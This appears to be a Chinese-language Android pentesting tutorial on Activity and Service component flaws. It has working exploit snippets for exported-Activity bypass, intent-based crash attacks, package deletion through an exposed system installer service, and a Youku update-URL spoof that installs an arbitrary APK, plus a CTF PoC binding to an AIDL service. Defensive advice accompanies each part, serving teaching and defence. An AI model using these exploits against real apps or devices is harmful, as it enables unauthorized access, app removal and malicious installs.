android app渗透测试-Activity、Service
Android App中可能出現的安全漏洞的類型:
思維導圖來源
獲取apk源代碼
通過adb獲取android系統應用或者第三方app:
adb shell pm path app包名 adb pull apk路徑如果是系統應用,可能因為優化,源代碼不在apk文件,而是在vdex文件中:
- vdex是dex代碼直接轉化的可執行二進制碼文件
- 第一次開機就會生成在/system/app/<packagename>/oat/下;
- 在系統運行過程中,虛擬機將其從 /system/app 下copy到/data/davilk-cache/ 下
- 通過vdexExtrator可以將vdex轉成dex,然后繼續進行分析
關于vdex更多知識
例子:
下圖是Genymotion模擬器中藍牙系統應用的vdex文件路徑,比一般的安卓系統相比把arm換成了x86
拉取vdex到本地:
vdexExtrator使用
在kali里面安裝編譯vdexExtrator中的工具,轉化vdex為dex,下圖適用于Android9以上的情況
將Bluetooth.apk拖入JEB中查看Manifest文件:
將Bluetooth.dex拖入JEB中查看源碼:
觀察清單文件
這些組件會在apk的AndroidManifest.xml中聲明,需要重點關注可導出的組件:
- 具備exported=true屬性的組件
- 配置了intent-filter的service默認是可導出的
這些組件會直接對外提供服務,容易直接受到攻擊
- 要重點看這些組件的permission,是否第三方app可調用,還是僅系統進程可調用
- 如果沒對調用進行權限限制或者是沒有對調用者的身份進行有效的驗證,那么惡意構造的APP都可以傳入恰當的參數進行調用,導致惡意的行為發生,比如說調用具有system權限的刪除卸載服務刪除卸載其他應用
防護方面可以將android:protectionLevel從normal提升到dangerous、signature,組件權限設置參考
Activity漏洞挖掘
Activity越權漏洞示例
例子:sieve.apk
例子下載以及相關知識詳見
應用正常交互流程
Genymotion打開應用,交互順序如下:
首先要求輸入密碼:
在提交password之后,再輸入pin:
然后要求輸入剛才的密碼:
點擊登錄后,可進入“Your Passwords”頁面:
JEB反編譯查看攻擊面
可以知道包名為com.mwr.example.sieve
可以看到除了啟動activity之外,還有兩個activity導出為true
實現越權繞過
使用adroid studio編寫testseive應用,直接調用導出activity,實現越權繞過
// 要調用的包名 String mPackageName="com.mwr.example.sieve"; // 要調用的activity String mActivityName="com.mwr.example.sieve.PWList"; Intent intent=new Intent(); intent.setComponent(new ComponentName(mPackageName,mActivityName)); // 啟動intent startActivityForResult(intent,1);構建并運行testseive應用,可以看到能夠直接進入“Your Passwords”頁面,實現越權繞過
防護策略
- 私有Activity不應被其他應用啟動,創建activity時,設置exported屬性為false
- 公開暴露的Activity組件,可以被任意應用啟動,需要謹慎處理接收的Intent,不應發送敏感信息,收到返回數據謹慎處理
Activity拒絕服務攻擊
參考鏈接
NullPointerException
源于程序沒有對getAction()等獲取到的數據進行空指針判斷,從而導致空指針異常而導致應用崩潰
漏洞應用代碼片段:
Intent i = new Intent(); if (i.getAction().equals("TestForNullPointerException")) {Log.d("TAG", "Test for Android Refuse Service Bug"); }攻擊應用代碼片段:
不提供action,直接啟動activity就可以導致崩潰
adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivityClassCastException示例
源于程序沒有對 getSerializableExtra() 等獲取到的數據進行類型判斷而進行強制類型轉換,從而導致類型轉換異常而導致應用崩潰
漏洞應用代碼片段:
Intent i = getIntent(); String test = (String)i.getSerializableExtra("serializable_key");攻擊應用代碼片段:
Intent i = new Intent(); i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity"); i.putExtra("serializable_key", BigInteger.valueOf(1)); startActivity(i);先啟動漏洞app,再啟動攻擊app,漏洞app就會crash:
可以看到android studio中的類型轉換報錯:
IndexOutOfBoundsException
源于程序沒有對 getIntegerArrayListExtra() 等獲取到的數據數組元素大小的判斷,從而導致數組訪問越界而導致應用崩潰
漏洞應用代碼片段:
Intent intent = getIntent(); ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id"); if (intArray != null) {// 沒有對intArray大小進行檢驗for (int i = 0; i<10; i++) {intArray.get(i);} }攻擊應用代碼片段:
Intent i = new Intent(); i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity"); ArrayList<Integer> user_id = new ArrayList<Integer>(); i.putExtra("user_id", user_id); startActivity(i);android studio報錯:
ClassNotFoundException
源于程序沒有無法找到從 getSerializableExtra() 獲取到的序列化類對象的類定義,因此發生類未定義的異常而導致應用崩潰
漏洞應用代碼片段:
Intent i = getIntent(); i.getSerializableExtra("serializable_key");攻擊應用代碼片段:
@Override protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);Intent i = new Intent();i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");ArrayList<Integer> user_id = new ArrayList<Integer>();i.putExtra("serializable_key", new SelfSerializableData());startActivity(i);}//在這里重新定義了一個類 static class SelfSerializableData implements Serializable {private static final long serialVersionUID = 42L;public SelfSerializableData() {super();} }android studio部分報錯:
防護策略
- 空指針異常;
- 類型轉換異常;
- 數組越界訪問異常;
- 類未定義異常;
- 其他異常;
Activity劫持
對手攔截發送來啟動一個基于android的可信活動的隱式intent,并在其位置啟動一個假冒活動。然后,惡意活動被用來模擬受信任活動的用戶界面,并提示目標輸入敏感數據,就像目標正在與受信任活動交互一樣。
Service漏洞挖掘
參考鏈接
Service非授權訪問
導出的service未進行權限設置和調用者身份驗證,使得調用者通過調用該service實現非授權訪問或權限提升。
漏洞案例
樂phone手機出廠默認包含一個名為jp.aplix.midp.tools的應用包。本應用以system權限運行,并向其他應用提供ApkInstaller服務,用來進行對Apk文件的安裝和刪除。通過向ApkInstaller服務傳遞構造好的參數,沒有聲明任何權限的應用即可達到安裝和刪除任意Package的行為,對系統安全性產生極大影響。
攻擊代碼:
Intent in = new Intent(); in.setComponent(new ComponentName("jp.aplix.midp.tools","jp.aplix.midp.tools.ApkInstaller")); in.putExtra("action", "deleteApk"); in.putExtra("pkgName", "xxxxx"); startService(in);Service消息偽造
service未對intent中的數據進行充分檢查,導致接收偽造的惡意消息
漏洞案例
優酷Android 4.5客戶端組件暴露導致第三方應用可以觸發其升級過程,同時可以指定升級下載的URL地址,可導致任意應用安裝!
組件com.youku.service.push.StartActivityService聲明如下,對外暴露:
<serviceandroid:label="Youku Push Notifications StartActivityService"android:name="com.youku.service.push.StartActivityService"android:exported="true" >該組件對應的代碼執行部分如下:
protected void onHandleIntent(Intent intent) {Intent v0;String v23;// 獲取pushMsg數據Serializable pushMsg = intent.getSerializableExtra("PushMsg");......AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();// 根據pushMsg.type判斷執行流程switch(pushMsg.type) {case 1: {goto label_53;}......}......label_53:intent.setFlags(876609536);intent.setClass(this, UpdateActivity.class);// 從pushMsg.updateurl中獲取升級URLintent.putExtra("updateurl", pushMsg.updateurl);intent.putExtra("updateversion", pushMsg.updateversion);intent.putExtra("updatecontent", pushMsg.updatecontent);intent.putExtra("updateType", 2);this.startActivity(intent);return;......該組件從Intent從獲取名為PushMsg的Serializable的數據,并根據其成員type來執行不同的流程,當type值為1時,執行App的升級操作。升級所需的相關數據如app的下載地址等也是從該序列化數據中獲取。升級的具體流程在com.youku.ui.activity.UpdateActivity中,簡單分析后發現升級過程未對下載地址等進行判斷,因此可以任意指定該地址。
攻擊代碼:
該漏洞觸發的關鍵在于對PushMsg數據的控制,創建一個Android App程序,在主Activity中的關鍵代碼如下:
PushMsg pushMsg = new PushMsg(); pushMsg.type = 1; pushMsg.updateurl = "http://任意URL/test.apk"; pushMsg.updatecontent = "This is Fake";Intent intent = new Intent(); intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService"); intent.putExtra("PushMsg", pushMsg); startService(intent);其中PushMsg類不需要完整實現,只需要編譯通過即可;
反編譯優酷客戶端的App得到smali代碼,從中提取出PushMsg.smali;
反編譯上述創建的APK文件,將原PushMsg類的smali文件替換為優酷中的PushMsg.smali文件,重新打包簽名;
安裝并運行重打包后的APK,會看到優酷的升級頁面觸發,如果設計的好的話,是可以誘導用戶安裝攻擊者指定的APK文件的。
Service拒絕服務
service未對接收的intent中的數據進行異常處理,導致程序崩潰。
防護原理
- 私有service不定義intent-filter并且設置exported為false
- 合作service需對合作方的app簽名做校驗
- 只被應用本身使用的service應設置為私有
- 不應在service創建(onCreate方法被調用)的時候決定是否提供服務,應在onStartCommand/onBind/onHandleIntent等方法被調用時做判斷
- 內部service需要使用簽名級別的protectionLevel來判斷是否被內部應用調用
- service接收的數據需要謹慎處理
其他參考鏈接:
https://tea9.xyz/post/3182197634.html
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
CTF實例
參考鏈接1
參考鏈接2
來源:RCTF 2015 Mobile350-Load
描述:This APK has a vulnerability,Can you load the flag? Try it.WaWaWa_0bb98521a9f21cc3672774cfec9c7140
程序運行
攻擊面確定
通過JEB查看清單文件,有1個Activity,2個Service(其中CoreService是normal權限),1個BroadcastReciver外部可訪問且沒有進行權限設置
還有一個外部不可訪問的WebActivity
靜態逆向分析
先分析MainActivity,沒什么東西
WebActivity
然后分析WebActivity,發現它能夠利用WebView加載flag
首先用intent根據"KEY"獲取序列化數據v0,然后分別調用a()、b()、c()函數,返回值分別對應v1、v2、loading
看一下里面的b類,調用a()、b()、c()函數會分別返回b.b、b.c、b.d
注意到WebActivity中黃色框圈起的代碼中,還有a.a,里面是密文xHLK4mR+0huhd6YSEc5Qzh+/yEZ7Vqs4PLKJ3cv3dPUQO7xLZCX731yPvd2V1mS0XXtIVgNisRw=:
MiscService
分析MiscService,它里面有一個intent,獲取類名CLASS_NAME后,可以給某個類發送消息
CoreService
分析coreservice,可以看到有暴露的aidl接口,連上這個binder就可以獲得this.a的數據
因為this.a屬于b類,那么點進去看b類的設計,b類中應用了Load類中的getUrl、getToken、getIv函數,其中b.a()返回的是c(Load.getUrl(this.a), Load.getToken(this.a)).a(),b.b()返回的是null,b.c()返回的是iv值
觀察v0所屬的c類,并繼續分析com.example.wawawa.b.c,可以發現是在訪問網址請求數據:根據輸入的Load的native函數getUrl以及getToken,獲取vps-url以及token參數,post到vps-url,若token正確即可獲取key
在Load類中,可以看到這些函數都是在so庫中實現的,考慮到有上面暴露的接口,就不選擇用so庫逆向的方式解題:
總結
為加載flag,WebActivity需要被啟動,同時獲得KEY作為序列化輸入
- 啟動WebActivity需要:給MiscService傳遞WebActivity的類名
- 獲得KEY需要:
- KEY是com.example.wawawa.a.b類型,包含3個屬性,在WebActivity分別為v1、v2、loading
- v1是key,可以通過CoreService的binder的a()方法獲得
- v2是iv,可以通過CoreService的binder的c()方法獲得
- KEY是com.example.wawawa.a.b類型,包含3個屬性,在WebActivity分別為v1、v2、loading
所以獲取flag的步驟為:
POC編寫
新建android app工程
清單文件添加訪問權限
添加訪問權限(MiscService未添加權限要求,不用聲明):
<uses-permission android:name="com.example.wawawa.permission.CORE_SERVICE"/>AIDL綁定CoreService
MainActivity中主要代碼
import com.example.wawawa.d;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);try {// 調用CoreService的binderComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService");Intent intent = new Intent();intent.setComponent(com);// Intent service, ServiceConnection conn, int flagsbindService(intent, connD, Context.BIND_AUTO_CREATE);} catch (Exception e) {}}private d da;private ServiceConnection connD = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service) {// 調用Stub類的客戶端接口方法獲取服務端數據da = d.a.a(service);try {System.out.println("c() Load.getIv------------- " + da.c()); //返回ivSystem.out.println("a() Load.getkey------------- " + da.a()); //返回key} catch (RemoteException e) {e.printStackTrace();}}@Overridepublic void onServiceDisconnected(ComponentName name) {// TODO Auto-generated method stub}}; }創建com.example.wawawa.d類提供接口定義,可以直接復制load apk中該類的反編譯結果并進行微調:
package com.example.wawawa;import android.os.Binder; import android.os.IBinder; import android.os.IInterface; import android.os.Parcel; import android.os.RemoteException;public interface d extends IInterface {public static abstract class a extends Binder implements d {/* renamed from: a reason: collision with root package name */private static final String f418a = "com.example.wawawa.d";static final int b = 1;static final int c = 2;static final int d = 3;/* renamed from: com.example.wawawa.d$a$a reason: collision with other inner class name */private static class C0016a implements d {/* renamed from: a reason: collision with root package name */private IBinder f419a;C0016a(IBinder iBinder) {this.f419a = iBinder;}public IBinder asBinder() {return this.f419a;}public String d() {return a.f418a;}public String a() throws RemoteException {Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();try {obtain.writeInterfaceToken(a.f418a);this.f419a.transact(1, obtain, obtain2, 0);obtain2.readException();return obtain2.readString();} finally {obtain2.recycle();obtain.recycle();}}public String b() throws RemoteException {Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();try {obtain.writeInterfaceToken(a.f418a);this.f419a.transact(2, obtain, obtain2, 0);obtain2.readException();return obtain2.readString();} finally {obtain2.recycle();obtain.recycle();}}public String c() throws RemoteException {Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();try {obtain.writeInterfaceToken(a.f418a);this.f419a.transact(3, obtain, obtain2, 0);obtain2.readException();return obtain2.readString();} finally {obtain2.recycle();obtain.recycle();}}}public a() {attachInterface(this, f418a);}public static d a(IBinder iBinder) {if (iBinder == null) {return null;}IInterface queryLocalInterface = iBinder.queryLocalInterface(f418a);if (queryLocalInterface == null || !(queryLocalInterface instanceof d)) {return new C0016a(iBinder);}return (d) queryLocalInterface;}public IBinder asBinder() {return this;}public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {switch (i) {case 1:parcel.enforceInterface(f418a);String a2 = a();parcel2.writeNoException();parcel2.writeString(a2);return true;case 2:parcel.enforceInterface(f418a);String b2 = b();parcel2.writeNoException();parcel2.writeString(b2);return true;case 3:parcel.enforceInterface(f418a);String c2 = c();parcel2.writeNoException();parcel2.writeString(c2);return true;case 1598968902:parcel2.writeString(f418a);return true;default:return super.onTransact(i, parcel, parcel2, i2);}}}String a() throws RemoteException;String b() throws RemoteException;String c() throws RemoteException; }運行app獲取key和iv
因為遠程vps連不上的,所以無法獲取key值,可以知道iv值是12345678
通過MiscService啟動WebActivity
在testwawawa的MainActivity中添加以下代碼:
import com.example.wawawa.a.b;protected void onCreate(Bundle savedInstanceState) {...ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.MiscService");Intent intent1 = new Intent();intent1.setComponent(com);intent1.putExtra("CLASS_NAME","com.example.wawawa.WebActivity");intent1.putExtra("KEY", new b("xxxxxxxx","12345678","loading"));startService(intent1); }添加com.example.wawawa.a.b類,可以直接復制load apk中該類的反編譯結果
package com.example.wawawa.a; import java.io.Serializable;/* compiled from: Data */ public class b implements Serializable {/* renamed from: a reason: collision with root package name */private static final long f412a = -3601187837704976264L;private String b;private String c;private String d;public b(String str, String str2, String str3) {this.b = str;this.c = str2;this.d = str3;}public String a() {return this.b;}public String b() {return this.c;}public String c() {return this.d;} }最終效果
再次運行testwawawa,可以看到wawawa中能夠顯示flag loading:
然后嘗試展示flag,但因為key是錯誤的,vps也已關閉,所以無法顯示flag:
總結
以上是生活随笔為你收集整理的android app渗透测试-Activity、Service的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 工业镜头在检测中的作用
- 下一篇: 单片机初学者